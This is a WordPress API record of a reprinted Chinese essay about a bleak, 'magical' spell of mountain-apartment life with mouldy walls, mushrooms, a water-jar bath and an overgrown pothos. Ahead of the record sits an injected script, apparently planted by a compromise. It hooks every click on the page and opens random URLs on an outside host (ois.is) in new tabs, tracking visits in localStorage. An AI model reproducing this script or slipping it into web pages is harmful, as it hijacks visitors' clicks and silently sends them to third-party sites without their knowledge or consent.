<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1215,"date":"2016-03-17T20:53:49","date_gmt":"2016-03-17T12:53:49","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1215"},"modified":"2016-03-17T20:54:12","modified_gmt":"2016-03-17T12:54:12","slug":"%e9%ad%94%e5%b9%bb%e6%ad%b2%e6%9c%88","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1215","title":{"rendered":"\u9b54\u5e7b\u6b72\u6708-\u937e\u6021\u96ef"},"content":{"rendered":"<p style=\"margin: 36pt 0cm 18pt; text-align: center;\" align=\"center\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u9b54\u5e7b\u6b72\u6708<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 36pt 0cm 18pt; text-align: center;\" align=\"center\"><b><span style=\"font-size: 13pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u937e\u6021\u96ef<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u66fe\u6709\u904e\u4e00\u6bb5\u975e\u5e38\u9b54\u5e7b\u7684\u5c71\u5c45\u6b72\u6708\u3002\u5982\u4eca\u56de\u982d\u51dd\u671b\uff0c\u604d\u7136\u767c\u73fe\uff0c\u539f\u4f86\u9b54\u5e7b\u5fc5\u9808\u6210\u9577\u65bc\u5fc3\u9748\u8207\u4e16\u9694\u7d55\u7684\u72c0\u614b\uff0c\u7269\u8cc7\u6975\u5ea6\u8ca7\u56f0\u7684\u571f\u58e4\u3002\u9694\u7d55\u548c\u8ca7\u56f0\u6709\u52a9\u65bc\u5f62\u5851\u5b8c\u6574\u7684\u5167\u5728\uff0c\u84c4\u98fd\u7684\u5167\u5728\u80fd\u91cf\u6295\u5c04\u65bc\u5916\uff0c\u73fe\u5be6\u5373\u6210\u9b54\u5e7b\uff0c\u9b54\u5e7b\u4ea6\u5373\u5beb\u5be6\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u8aaa\u4f86\u62bd\u8c61\uff0c\u5176\u5be6\u4e00\u9ede\u4e5f\u4e0d\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u90a3\u662f\u6bb5\u7d93\u6fdf\u6975\u70ba\u62ee\u636e\u7684\u6b72\u6708\u3002\u4e8c\u5341\u576a\u5de6\u53f3\u7684\u9ad8\u9f61\u8001\u516c\u5bd3\u6708\u79df\u4e03\u5343\uff0c\u4f4e\u50f9\u4f4d\u63db\u4f86\u7684\u5c45\u4f4f\u54c1\u8cea\u53ef\u60f3\u800c\u77e5\u3002\u7246\u58c1\u9577\u764c\uff0c\u5730\u677f\u5448\u6ce2\u6d6a\u72c0\uff0c\u5c71\u4e0a\u7684\u6f6e\u6fd5\u7a7a\u6c23\u5927\u6982\u52a0\u901f\u4e86\u623f\u5b50\u7684\u8001\u5316\u3002\u6211\u6bcf\u5929\u6e05\u7406\u56db\u6563\u7684\u764c\u5c51\u6e05\u5f97\u5fc3\u7169\uff0c\u4e7e\u8106\u628a\u9b06\u6563\u7684\u7070\u5c51\u5c64\u5c64\u522e\u4e0b\u3002\u9760\u6d74\u5ba4\u7684\u5976\u767d\u8272\u7246\u9762\u5728\u6cb9\u6f06\u843d\u76e1\u4e4b\u5f8c\uff0c\u662f\u4e86\u7121\u751f\u6c23\u7684\u6b7b\u7070\uff0c\u51f9\u51f8\u7684\u6c99\u77f3\u7246\u9762\u767c\u6563\u6f6e\u6fd5\u9709\u5473\uff0c\u51ac\u5929\u9023\u8457\u5e7e\u5929\u9670\u96e8\uff0c\u9577\u51fa\u5947\u5e7b\u7684\u7626\u8548\u3002\u7070\u68d5\u8272\u7684\u8548\u671d\u751f\u66ae\u6b7b\uff0c\u5f9e\u865b\u7a7a\u88e1\u4f86\u53bb\u6642\u4e5f\u4e86\u7121\u75d5\u8de1\uff0c\u5f9e\u672a\u5728\u5730\u677f\u4e0a\u5c0b\u7372\u8548\u5c4d\uff0c\u59d4\u5be6\u795e\u5947\u3002\u8d77\u521d\u6211\u64d4\u5fc3\u8c93\u6703\u8aa4\u98df\uff0c\u5f8c\u4f86\u767c\u73fe\u7260\u5011\u5c0d\u9019\u602a\u8477\u8996\u82e5\u7121\u7779\uff0c\u4ea6\u6709\u8996\u9b54\u5e7b\u70ba\u5c0b\u5e38\u7684\u6167\u6839\u3002\u5e38\u5e38\u6211\u4e00\u65e9\u9192\u4f86\uff0c\u767c\u73fe\u5e8a\u908a\u7684\u66f8\u88ab\u6c34\u6c23\u6372\u6210\u6ce2\u6d6a\u72c0\uff0c\u6478\u8d77\u4f86\u6f6e\u8edf\u7121\u795e\uff0c\u4e0d\u514d\u5fc3\u60c5\u4f4e\u843d\u3002\u53ef\u662f\u90a3\u6735\u5b88\u5728\u6d74\u5ba4\u7684\u610f\u5916\u8a2a\u5ba2\uff0c\u8b93\u58de\u5fc3\u60c5\u7acb\u523b\u597d\u8f49\u3002\u6211\u7e3d\u89ba\u5f97\u90a3\u8548\u4f86\u4f86\u53bb\u53bb\u90fd\u662f\u540c\u4e00\u6735\uff0c\u5c08\u9580\u4f86\u73a9\u7684\u3002\u9a5a\u559c\u4e4b\u9918\uff0c\u7e3d\u8981\u8e72\u4e0b\u8ddf\u8548\u6253\u8072\u62db\u547c\uff0c\u54a6\uff01\u4f60\u53c8\u4f86\u5566\uff01<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u6d74\u5ba4\u662f\u53e6\u4e00\u500b\u5947\u7279\u7684\u5834\u666f\u3002\u524d\u4efb\u623f\u5ba2\u5927\u6982\u60a3\u6709\u7f3a\u6c34\u6050\u61fc\u75c7\uff0c\u64fa\u4e86\u500b\u5927\u53ef\u5bb9\u4eba\u7684\u5851\u81a0\u7515\uff0c\u53e3\u5c0f\u809a\u5927\uff0c\u53ef\u5bb9\u4e00\u4eba\u3002\u5f7c\u6642\u6211\u525b\u77e5\u9053\u6ce1\u6fa1\u9019\u73a9\u610f\u5152\uff0c\u9042\u4ee5\u6c34\u7515\u4ee3\u6d74\u7f38\uff0c\u5012\u4e9b\u786b\u78fa\u6c34\u81ea\u88fd\u6eab\u6cc9\uff0c\u51ac\u5929\u5728\u7121\u7a97\u7684\u5bc6\u9589\u6d74\u5ba4\u6ce1\u5f97\u91ba\u91ba\u7136\uff0c\u5e7e\u4e4e\u660f\u53a5\u3002\u5e78\u597d\u6d74\u5ba4\u9694\u97f3\u5947\u5dee\uff0c\u6a13\u4e0a\u9130\u5c45\u7684\u6e05\u6670\u5c0d\u8a71\u5e38\u9806\u6c34\u7ba1\u800c\u4e0b\u559a\u9192\u6211\uff0c\u5426\u5247\u6975\u53ef\u80fd\u5728\u7515\u88e1\u4e00\u6ce1\u5230\u5929\u660e\uff0c\u4ee5\u70ba\u8eab\u8655\u6bcd\u89aa\u5b50\u5bae\u4e43\u5b89\u5fc3\u5927\u7761\u3002\u9019\u7a2e\u7a7a\u6c23\u4e0d\u6d41\u901a\u7684\u8a2d\u8a08\uff0c\u5c0d\u6578\u53e3\u4e4b\u5bb6\u4e00\u5b9a\u662f\u82e6\u4e8b\u3002\u590f\u5929\u95dc\u9580\u6d17\u6fa1\uff0c\u9084\u672a\u64e6\u4e7e\u4fbf\u5df2\u4e00\u8eab\u5927\u6c57\uff0c\u6d17\u4e86\u7b49\u65bc\u6c92\u6d17\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u90a3\u6642\u751a\u9ebc\u90fd\u7f3a\uff0c\u7368\u4e0d\u7f3a\u6642\u9593\uff0c\u8b80\u66f8\u4e4b\u5916\u5225\u7121\u4ed6\u4e8b\u3002\u6c92\u6709\u66f8\u67b6\uff0c\u5c45\u7121\u68f2\u6240\u7684\u66f8\u5f88\u53ef\u6190\u5730\u5806\u5728\u9ad8\u4f4e\u4e0d\u5e73\u7684\u5730\u677f\u4e0a\uff1b\u6c92\u6709\u97f3\u97ff\uff0c\u58fd\u547d\u5f88\u77ed\u7684\u7834\u96fb\u8996\uff0c\u5fc3\u60c5\u597d\u6642\u5f69\u8272\uff0c\u9b27\u60c5\u7dd2\u6642\u9ed1\u767d\uff0c\u66f4\u591a\u6642\u5019\u767c\u795e\u7d93\u53ea\u805e\u8072\u97f3\u4e0d\u7d66\u756b\u9762\u3002\u90a3\u662f\u5012\u5783\u573e\u7684\u8001\u9676\u64bf\u4f86\u7684\u56de\u6536\u7269\uff0c\u6211\u4ee5\u4e94\u767e\u5143\u8cfc\u5f97\uff0c\u5b83\u6700\u5927\u7684\u529f\u7528\u662f\u628a\u7a7a\u6d1e\u7684\u5ba2\u5ef3\u896f\u5f97\u66f4\u7a7a\u6d1e\uff0c\u6c92\u6709\u756b\u9762\u7684\u5c0d\u767d\u6253\u5728\u7a7a\u76ea\u7684\u7246\u58c1\u767c\u51fa\u6e05\u695a\u7684\u56de\u97f3\u3002\u8072\u97f3\u6642\u5927\u6642\u5c0f\uff0c\u5931\u63a7\u53eb\u8072\u5e38\u5728\u6253\u958b\u90a3\u523b\u5687\u6211\u4e00\u8df3\u3002\u53e4\u8001\u7684\u6d17\u8863\u6a5f\u4e5f\u662f\uff0c\u6bcf\u56de\u812b\u6c34\u90fd\u767c\u51fa\u5636\u543c\uff0c\u5341\u5206\u6b47\u65af\u5e95\u91cc\uff0c\u537b\u5728\u6211\u8010\u6027\u6f70\u5824\u4e4b\u524d\u5b83\u5148\u6bba\u4e86\u81ea\u5df1\uff0c\u6211\u53ea\u597d\u56de\u5230\u5927\u5b78\u6642\u4ee3\u624b\u6d17\u8863\u670d\u7684\u65e5\u5b50\uff0c\u64f0\u8863\u6642\u7adf\u6709\u4e9b\u61f7\u5ff5\u90a3\u795e\u7d93\u8cea\u7684\u9b3c\u53eb\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u9b54\u5e7b\u6b72\u6708\u88e1\u9023\u690d\u7269\u4e5f\u8b8a\u5f97\u795e\u7d93\u8cea\u3002\u5169\u682a\u6c34\u990a\u7684\u7626\u5f31\u9ec3\u91d1\u845b\u79fb\u690d\u76c6\u5b50\u5f8c\uff0c\u731b\u7136\u9577\u6210\u6050\u6016\u5de8\u682a\uff0c\u722c\u85e4\u5305\u570d\u9435\u689d\uff0c\u5f8c\u967d\u53f0\u5bc6\u5bc6\u5be6\u5be6\u8b8a\u6210\u96b1\u5bc6\u7a7a\u9593\u3002\u5169\u500b\u5df4\u638c\u5927\u7684\u5de8\u8449\u5448\u6cb9\u4eae\u7684\u58a8\u7da0\u8272\uff0c\u5bb9\u5149\u7165\u767c\u5730\u8fce\u98a8\u62db\u5c55\u3002\u6211\u60f3\u4e0d\u901a\u90a3\u4e00\u5c3a\u6df1\u7684\u7834\u76c6\u5b50\u600e\u9ebc\u53ef\u80fd\u6ecb\u9577\u51fa\u9019\u5de8\u7269\uff1f\u7a7a\u6c23\u4e2d\u5230\u5e95\u6709\u751a\u9ebc\u795e\u7955\u6210\u5206\u5982\u6b64\u71df\u990a\uff1f\u5b83\u4ee5\u4f54\u9818\u623f\u5b50\u7684\u90a3\u7a2e\u5147\u72e0\u9577\u6cd5\u5feb\u901f\u6500\u9644\uff0c\u4f38\u51fa\u8a31\u591a\u5de8\u624b\u5de6\u64c4\u53f3\u7372\uff0c\u6211\u7b2c\u4e00\u6b21\u754f\u61fc\u4e00\u68f5\u690d\u7269\u50cf\u754f\u61fc\u4e00\u982d\u731b\u7378\uff0c\u64d4\u5fc3\u54ea\u5929\u9192\u4f86\u88ab\u56f0\u5728\u56b4\u5bc6\u7684\u6a39\u6797\u88e1\u51fa\u4e0d\u53bb\uff0c\u6d3b\u6d3b\u88ab\u690d\u7269\u541e\u566c\u6210\u70ba\u5b83\u7684\u8840\u8089\uff0c\u53ea\u80fd\u5c0d\u4e16\u754c\u767c\u51fa\u7121\u8072\u7684\u5f92\u7136\u5436\u558a\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u6700\u7d42\u9019\u68f5\u690d\u7269\u6b7b\u65bc\u6211\u624b<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #444444;\">&#8212;<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u4e0d\uff0c\u6b7b\u65bc\u6211\u7684\u6050\u61fc<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #444444;\">&#8212;<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u662f\u6211\u6d3b\u6d3b\u628a\u5b83\u6e34\u6b7b\u3002\u5b83\u4ee5\u9b54\u5e7b\u7684\u65b9\u5f0f\u6210\u9577\uff0c\u6700\u7d42\u6b7b\u65bc\u6b98\u9177\u7684\u73fe\u5be6\uff0c\u662f\u9b54\u5e7b\u6b72\u6708\u88e1\u6700\u5178\u578b\u7684\u9b54\u5e7b\u5beb\u5be6\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-align: right; text-indent: 22pt; line-height: 22pt;\" align=\"right\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u3010<\/span><span style=\"font-size: 11pt; font-family: Arial, sans-serif; color: #444444;\">2004\/05\/22 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #444444;\">\u806f\u5408\u5831\u3011<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9b54\u5e7b\u6b72\u6708 \u937e\u6021\u96ef \u66fe\u6709\u904e\u4e00\u6bb5\u975e\u5e38\u9b54\u5e7b\u7684\u5c71\u5c45\u6b72\u6708\u3002\u5982\u4eca\u56de\u982d\u51dd\u671b\uff0c\u604d\u7136\u767c\u73fe\uff0c\u539f\u4f86\u9b54\u5e7b\u5fc5\u9808\u6210\u9577\u65bc\u5fc3\u9748\u8207\u4e16\u9694\u7d55\u7684\u72c0\u614b\uff0c [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,58,1,42,56],"tags":[90,89,79],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1215"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1215"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1215\/revisions"}],"predecessor-version":[{"id":1217,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1215\/revisions\/1217"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1215"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1215"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1215"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}